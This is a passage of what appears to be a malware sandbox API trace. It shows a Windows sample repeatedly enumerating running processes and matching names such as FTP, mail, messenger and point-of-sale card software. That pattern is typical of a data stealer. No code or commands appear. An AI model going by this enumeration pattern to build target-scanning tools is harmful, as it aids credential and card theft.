hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0236.492] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0236.494] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0236.495] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0236.496] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0236.498] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0236.500] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0236.501] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0236.503] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0236.505] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0236.508] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0236.510] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0236.514] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0236.517] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0236.521] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0236.525] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0236.529] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0236.533] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0236.587] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0236.591] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0236.595] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0236.598] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0236.603] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0236.606] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0236.610] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0236.613] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0236.615] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0236.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0236.619] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0236.622] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0236.624] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0236.626] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0236.628] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0236.679] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0236.681] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0236.683] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0236.685] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0236.687] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0236.689] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0236.691] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0236.693] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0236.695] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0236.697] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0236.699] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0236.701] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0236.703] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0236.704] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0236.706] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0236.708] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0236.710] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0236.712] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0236.713] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.715] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.717] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.718] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0236.720] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0236.770] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.772] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0236.774] CloseHandle (hObject=0x13b0) returned 1 [0236.774] Sleep (dwMilliseconds=0x64) [0236.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0236.830] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.833] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.834] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.836] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.837] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.839] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.840] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.842] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.843] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.845] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.846] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.913] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.915] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.917] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.918] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.920] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.921] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.923] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.924] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.926] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.928] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.930] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0236.931] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.933] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.935] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0236.937] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, 